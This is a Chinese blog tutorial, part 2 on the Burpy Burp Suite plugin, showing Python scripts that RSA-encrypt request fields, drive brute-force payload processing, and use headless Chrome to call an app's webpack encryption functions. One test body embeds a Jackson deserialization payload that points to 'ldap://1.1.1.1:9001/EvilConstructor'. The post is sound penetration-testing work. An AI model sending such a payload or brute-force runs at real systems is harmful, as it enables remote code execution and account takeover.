【Burp插件】打通BurpSuite与Python之间的通道 2

微信扫一扫,分享到朋友圈

【Burp插件】打通BurpSuite与Python之间的通道 2

宋鑫磊,从业8年,对网络安全、终端安全、二进制安全等都有强烈兴趣,主做APP/Web安全渗透测试。



Burpy




高级用法

当当当当,又见面了。这期全是干货,请慢用!


加密

上面的例子太简单了有没有,这个功能很鸡肋,burpsuite中使用ctrl+b快捷键就完成了,还得写个脚本,这不是大晴天打伞——多此一举吗?

来来来,看看下面这个例子。

代码有些长….

先在这说明一下:下面代码是做RSA加密的。在这个项目中,用户名和密码是经过RSA加密之后传给服务器的,服务器会解密,通过其他漏洞拿到源代码,分析之后发现可能存在Jackson反序列化漏洞,于是写了这个脚本来测试。

这个RSA加密中会取当前时间,再取一个6位随机字符,拼接成一个nonce,而公钥可以在浏览器的JS里面找到。如果没有这个插件,想做这件事基本上很难,找到js代码之后还要在浏览器是执行js代码,复制粘贴等等,幸好我们有Burpy,来看下脚本和体验如何吧!(如下内容已做脱敏)

import json


class Burpy:

'''

'''

def main(self, header, body):

body_json = json.loads(body)

# pwd = body_json.get('pwd')

# oldPassword = body_json.get("oldPassword")

# newPassword = body_json.get("newPassword")

username = repr(body_json.get("username"))


# body_json["oldPassword"] = "_SCHO_ENC_:V1:RSA:ZSXYDEV0001:" + self.rsa_enc(oldPassword)

# body_json["newPassword"] = "_SCHO_ENC_:V1:RSA:ZSXYDEV0001:" + self.rsa_enc(newPassword)

body_json["username"] = "_XXXX_ENC_:V1:RSA:XXXX0001:" + self.rsa_enc(username)

body = json.dumps(body_json)

return header, body


def rsa_enc(self,data):

from Crypto.PublicKey import RSA

from base64 import b64decode,b64encode

from Crypto.Cipher import PKCS1_v1_5

import time

import random

t = int(round(time.time() * 1000))


s = ""

for i in range(6):

s += str(random.randint(1,10))


e = str(t) + s


i = dict()

i["text"] = data

i["timestamp"] = t+5

i["nonce"] = e


pubStr = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA10AjU2HIhIb9hnjsRkHvPUVT91pl9fR9VKn/F/JbwrNlDZQOnd0AXxxxxxxxcP61EVOdEqAdtA1law/6Z9O4c1nHaDBblx3R9Sr7Lxxxxxx0kxoox7LlAInToUqU1ofWNf0FlF+A6kd1wZhil1Iha9NS8z7UfMx92jxh9RtGWFKxxxxxl4UJsQoS7krDN6skb8SLwga4QYUU3ua8GCRZBPZJ4QQIDAQAB"

msg = json.dumps(i)

#msg = "1565246122420" + msg

keyDER = b64decode(pubStr)

keyPub = RSA.importKey(keyDER)

cipher = PKCS1_v1_5.new(keyPub)

ct = cipher.encrypt(msg.encode('utf-8'))

ect = b64encode(ct)

return ect


if __name__ == "__main__":

b = Burpy()

header = []

body = '{"username": {"text": ["org.hibernate.jmx.StatisticsService",{"sessionFactoryJNDIName": "ldap://1.1.1.1:9001/EvilConstructor"}]}, "svcCode": "client:009", "password": "2", "orgCode": "xxxx"}'

header1,body1 = b.main(header, body)

print body1

来体验一把:


payload processor

怎么样?有没有感觉通畅了许多?

这还不是最令人兴奋的。来一起看一下payload processor。

试想一下,你想暴力破解上面这种系统的用户名密码,能做到不?难。

但是,用Burpy只需要像下面这样设置一下就可以跑了:

首先,勾选Enable Processor,

然后,在我们的脚本中加入processor函数,并编写逻辑调用已经写好的rsa_enc函数。

然后就是常规操作,看这里:

其实,这个processor加密之后的密文前边应该再加上一些字符串,但我实在太懒了,你们应该都知道怎么改这个脚本的,我相信你们。

看到这里,有同学可能问了,恩恩,很好,很6,但是,为啥这个脚本这么麻烦?直接接数据返回不就行了吗?

当当当当,你说的对,但是,一次偶然的机会(其实是经常遇到),我需要测试一个APP,它加载一个web页面,里面有js代码,js代码经过了webpack。

其中,流量是加密的,怎么办?

往下看!


webdriver

首先推荐一个模块——moduleRaid.js,自己去github上找吧,不多解释,因为我也不懂它怎么做到的。

反正,用了这个之后,你就可能在浏览器控制台下拉调用webpack之后的一些js的功能,如加密/解密!

很神奇有没有,但是问题来了,我们测试的是APP呀,又不是浏览器上的web站!

难道要打开手机APP内部的webview的控制台,再用手机键盘输入那些js命令?

然后怎么从手机webview控制台中把js执行结果复制出来?

这里就用到了webdriver,我们可以使用python启动一个浏览器,让浏览器去访问APP中浏览的页面!

而且,我们还能通过python脚本把我们的JS代码加载到这个浏览器当中!

而且,我们还能通过python脚本在这个浏览器中执行js代码!

而且,我们还有Burpy!

来看一下怎么搞!

先来看下代码(已脱敏):

#coding:utf-8

# 别忘了安装依赖

from selenium import webdriver

import json

from base64 import b64encode

import urllib


chromeExec = "/usr/bin/chromedriver" # 需要自己下载chromedriver


url = "https://xxxx.com:58100/xxxx/xxxx" # 这里就是APP中的Webview当中加载的页面,不过对于一些公司来说,他们通常用一套东西,自己体会


class Burpy:

def __init__(self):

"""

this is called from the start of PyRo4 service, so init webdriver here

"""

option = webdriver.ChromeOptions()

option.add_argument('headless')

self.driver = webdriver.Chrome(executable_path=chromeExec, chrome_options=option)

self.driver.implicitly_wait(20)

self.driver.get(url)


try:

js = self.load_js()

self.driver.execute_script(js)

except Exception as e:

print("Failed to load MouldueRaid JS")

print(e)

def __del__(self):

self.driver.quit()


def load_js(self):

jsFilePath = r"/home/m0nst3r/tools/moduleraid.js"

with open(jsFilePath) as f:

jsContent = f.read()

return jsContent


def main(self, header, body):

return header, body


def decrypt(self, header, body):

if body.startswith("msg="):

data = urllib.unquote(body[len('msg='):])

DecRes = """return window.mR.modules.xxxx.xxxx.decryptData('%s')""" % (data)


result = self.driver.execute_script(DecRes)

result = json.dumps(result)

nbody = "msg="+result

else:

# the body is the json string

data_json = urllib.unquote(body)

DecRes = """return JSON.stringify(window.mR.modules.xxxx.xxxx.decryptData('%s'))""" % (data_json)

result = self.driver.execute_script(DecRes)

nbody = "msg="+result


return header, nbody

def encrypt(self, header, body):

data = body[len('msg='):]

data_b64 = b64encode(data)


EncRes = """return window.mR.modules.xxxx.xxx.encryptData(JSON.parse(atob("%s")));""" % (data_b64)


result = self.driver.execute_script(EncRes)

result_json = json.loads(result)

result_json["K3"] = "h5"

result = json.dumps(result_json)

nbody = 'msg='+urllib.quote(result)

return header, nbody

由于考虑这个webdriver的问题,我才把Burpy脚本改成了类的形式。因为webdriver每次启动的时候比较费时,而通过类中的__init__方法,我们可以把这个保持这个类的实例,所以再次调用的时候就不用初始化了。不过,我们点击start server的时候会感觉到一些延迟。

脱敏之后的这个脚本肯定是运行不了的,但为了演示效果,我原来的文件不能乱改,所以,直接给大家看一下效果就好了:


Auto Enc/Dec

这个功能是同事提出的意见,花了半天的时间实现了,由此可见我的Java编程功底真的是很浅。。。。

这个功能可以说是灵魂技能!就好比,,,没想出来,总之很牛逼。

为啥这么说呢?

大家发现没有,上面的操作中我每次还需要右键一下,滑动鼠标,瞄准一个菜单,再点击。

做为一个懒到极致的人,这些操作都觉得麻烦!于是Auto Enc/Dec来了,只要你写好加密、解密功能,点开这个开关,你直接写明文!

对,明文就行了,你点Go的时候,自动调用脚本中的encrypt函数进行加密,拿到服务器返回数据之后,自动调用脚本中的decrypt函数解密!

同学,还有比这更美的吗?

来体验加证明一下,为了简单,我就用Base64测试的那个脚本吧。

大家可以通过wireshark看到,其实这块的实现还有bug。

不过,我应该会很快补上的,恩,不会很久的。



结语

如果这个长文你都看完了,欢迎到Github上赏Star,欢迎提出改进建议,更欢迎contribution。

么么哒!

https://github.com/mr-m0nst3r/Burpy

作者邮箱:songxinlei@cfca.com.cn

欢迎大家提出宝贵的建议!

校对:牛   菁

排版:牛   菁

审核:谢宗晓

↓↓↓长按下方二维码关注「网安前哨」,查看更多历史文章

手机照片删除了怎么恢复?1分钟帮你搞定

上一篇

科普 | 我们还需要状态通道吗?

下一篇

你也可能喜欢

【Burp插件】打通BurpSuite与Python之间的通道 2

长按储存图像,分享给朋友